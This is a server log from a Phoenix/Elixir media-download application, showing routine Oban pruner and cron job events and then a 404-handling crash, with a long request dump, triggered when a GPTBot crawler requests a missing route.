{"source":"oban","duration":1837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:51.961 [info] {"source":"oban","duration":1187,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:00.614 [info] {"source":"oban","duration":460,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:53:21.963 [info] {"source":"oban","duration":1125,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:51.965 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:00.620 [info] {"source":"oban","duration":4899,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:54:21.967 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:51.969 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:00.625 [info] {"source":"oban","duration":3658,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:55:21.973 [info] {"source":"oban","duration":3162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:51.975 [info] {"source":"oban","duration":855,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:00.631 [info] {"source":"oban","duration":4565,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:56:21.977 [info] {"source":"oban","duration":1010,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:51.979 [info] {"source":"oban","duration":872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:00.631 [info] {"source":"oban","duration":304,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:57:21.982 [info] {"source":"oban","duration":1763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:51.984 [info] {"source":"oban","duration":825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:00.633 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:58:21.987 [info] {"source":"oban","duration":2140,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:51.989 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:00.639 [info] {"source":"oban","duration":3962,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:59:21.992 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:51.993 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:00.645 [info] {"source":"oban","duration":4531,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:00:21.995 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:51.997 [info] {"source":"oban","duration":990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:00.648 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:01:21.999 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:52.002 [info] {"source":"oban","duration":1665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:00.650 [info] {"source":"oban","duration":585,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:02:22.003 [info] {"source":"oban","duration":1185,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:52.006 [info] {"source":"oban","duration":1778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:00.653 [info] {"source":"oban","duration":2130,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:03:22.008 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:52.010 [info] {"source":"oban","duration":1183,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:00.656 [info] {"source":"oban","duration":1862,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:04:22.012 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:52.014 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:00.658 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:05:22.016 [info] {"source":"oban","duration":923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:52.018 [info] {"source":"oban","duration":1198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:00.662 [info] {"source":"oban","duration":2812,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:06:22.020 [info] {"source":"oban","duration":827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:06:52.022 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:00.663 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:07:22.025 [info] {"source":"oban","duration":1567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:07:52.028 [info] {"source":"oban","duration":1847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:00.665 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:08:22.041 [info] {"source":"oban","duration":11779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:08:52.043 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:00.666 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:09:22.045 [info] {"source":"oban","duration":825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:09:52.047 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:00.668 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:10:22.049 [info] {"source":"oban","duration":993,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:10:52.051 [info] {"source":"oban","duration":986,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:00.671 [info] {"source":"oban","duration":1853,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:11:22.053 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:11:52.055 [info] {"source":"oban","duration":853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:00.675 [info] {"source":"oban","duration":2957,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:12:22.057 [info] {"source":"oban","duration":944,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:12:52.059 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:00.679 [info] {"source":"oban","duration":1599,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:13:22.063 [info] {"source":"oban","duration":3122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:13:52.067 [info] {"source":"oban","duration":2478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:00.681 [info] {"source":"oban","duration":2124,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:14:22.070 [info] {"source":"oban","duration":2231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:14:52.072 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:00.683 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:15:22.075 [info] {"source":"oban","duration":1639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:15:52.076 [info] {"source":"oban","duration":1016,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:00.687 [info] {"source":"oban","duration":2950,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:16:22.078 [info] {"source":"oban","duration":895,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:16:52.080 [info] {"source":"oban","duration":882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:00.688 [info] {"source":"oban","duration":447,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:17:22.082 [info] {"source":"oban","duration":1223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:17:52.084 [info] {"source":"oban","duration":1020,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:00.689 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:18:22.089 [info] {"source":"oban","duration":3973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:18:52.094 [info] {"source":"oban","duration":3702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:00.693 [info] {"source":"oban","duration":2266,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:19:22.096 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:19:52.100 [info] {"source":"oban","duration":2824,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:00.695 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:20:22.102 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:20:52.104 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:00.698 [info] {"source":"oban","duration":1999,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:21:22.106 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:21:52.123 [info] {"source":"oban","duration":11786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:00.702 [info] {"source":"oban","duration":2249,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:22:22.127 [info] {"source":"oban","duration":3456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:22:52.129 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:00.707 [info] {"source":"oban","duration":3913,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:23:22.136 [info] {"source":"oban","duration":5335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:23:52.138 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:00.708 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:24:22.144 [info] {"source":"oban","duration":3201,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:24:52.146 [info] {"source":"oban","duration":837,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:00.712 [info] {"source":"oban","duration":2925,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:25:22.149 [info] {"source":"oban","duration":2437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:25:52.151 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:00.713 [info] {"source":"oban","duration":315,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:26:22.167 [info] {"source":"oban","duration":15437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:26:52.170 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:00.721 [info] {"source":"oban","duration":6477,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:27:22.174 [info] {"source":"oban","duration":2306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:27:52.176 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:00.726 [info] {"source":"oban","duration":3261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:28:22.178 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:28:52.180 [info] {"source":"oban","duration":1426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:00.729 [info] {"source":"oban","duration":1175,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:29:22.182 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:29:52.184 [info] {"source":"oban","duration":1094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:00.733 [info] {"source":"oban","duration":2624,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:30:22.186 [info] {"source":"oban","duration":1507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:30:52.188 [info] {"source":"oban","duration":771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:00.736 [info] {"source":"oban","duration":1796,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:31:22.196 [info] {"source":"oban","duration":7182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:31:52.198 [info] {"source":"oban","duration":844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:00.740 [info] {"source":"oban","duration":3326,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:32:22.203 [info] {"source":"oban","duration":3691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:32:52.206 [info] {"source":"oban","duration":2314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:00.744 [info] {"source":"oban","duration":2829,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:33:22.209 [info] {"source":"oban","duration":1695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:33:52.211 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:00.750 [info] {"source":"oban","duration":4707,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:34:22.245 [info] {"source":"oban","duration":10384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:34:52.253 [info] {"source":"oban","duration":4399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:00.755 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:35:22.257 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:35:52.259 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:00.757 [info] {"source":"oban","duration":1052,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:36:22.261 [info] {"source":"oban","duration":867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:36:52.264 [info] {"source":"oban","duration":1787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:00.761 [info] {"source":"oban","duration":2643,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:37:22.266 [info] {"source":"oban","duration":868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:37:52.268 [info] {"source":"oban","duration":891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:00.768 [info] {"source":"oban","duration":6133,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:38:22.270 [info] {"source":"oban","duration":874,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:38:52.279 [info] {"source":"oban","duration":8180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:00.774 [info] {"source":"oban","duration":4816,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:39:22.281 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:39:52.283 [info] {"source":"oban","duration":868,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:00.779 [info] {"source":"oban","duration":3543,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:40:22.285 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:40:52.287 [info] {"source":"oban","duration":870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:00.779 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:41:22.289 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:41:52.291 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:00.780 [info] {"source":"oban","duration":218,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:42:22.293 [info] {"source":"oban","duration":1919,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:42:52.295 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:00.785 [info] {"source":"oban","duration":4061,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:43:22.297 [info] {"source":"oban","duration":870,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:52.299 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:00.789 [info] {"source":"oban","duration":2926,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:44:22.303 [info] {"source":"oban","duration":2489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:52.305 [info] {"source":"oban","duration":887,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:00.790 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:45:22.307 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:52.309 [info] {"source":"oban","duration":932,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:00.793 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:46:22.311 [info] {"source":"oban","duration":999,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:52.313 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:00.794 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:47:22.315 [info] {"source":"oban","duration":819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:52.318 [info] {"source":"oban","duration":2241,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:00.800 [info] {"source":"oban","duration":4990,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:48:22.320 [info] {"source":"oban","duration":933,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:52.322 [info] {"source":"oban","duration":1258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:00.801 [info] {"source":"oban","duration":302,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:49:22.324 [info] {"source":"oban","duration":1132,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:49:52.326 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:00.802 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:50:22.331 [info] {"source":"oban","duration":4136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:50:52.333 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:51:00.807 [info] {"source":"oban","duration":3785,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:51:12.341 [info] GET /sources/6/force_metadata_refresh 19:51:12.355 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=1172.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:51:12.360 [debug] QUERY OK source="settings" db=3.6ms queue=0.9ms idle=657.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:51:12.363 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 19:51:12.368 [error] #PID<0.4072.0> running PinchflatWeb.Endpoint (connection #PID<0.4071.0>, stream id 1) terminated Server: rutube.spluft.ru:80 (http) Request: GET /sources/6/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4071.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_metadata_refresh", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 40502}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "via" => "2.0 Caddy", "x-forwarded-for" => "74.7.243.200", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https", "x-openai-host-hash" => "333642300" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.4072.0>, params: %{}, path_info: ["sources", "6", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "rutube.spluft.ru"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"via", "2.0 Caddy"}, {"x-forwarded-for", "74.7.243.200"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "333642300"} ], request_path: "/sources/6/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH9Lkq_vD93jvwgAACsi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4071.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_metadata_refresh", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 40502}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "via" => "2.0 Caddy", "x-forwarded-for" => "74.7.243.200", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https", "x-openai-host-hash" => "333642300" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/6/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4071.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/6/force_metadata_refresh", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 40502}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "rutube.spluft.ru", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "via" => "2.0 Caddy", "x-forwarded-for" => "74.7.243.200", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https", "x-openai-host-hash" => "333642300" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.4072.0>, params: %{}, path_info: ["sources", "6", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "rutube.spluft.ru"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatib (truncated) 19:51:17.961 [info] GET /sources/6/force_index 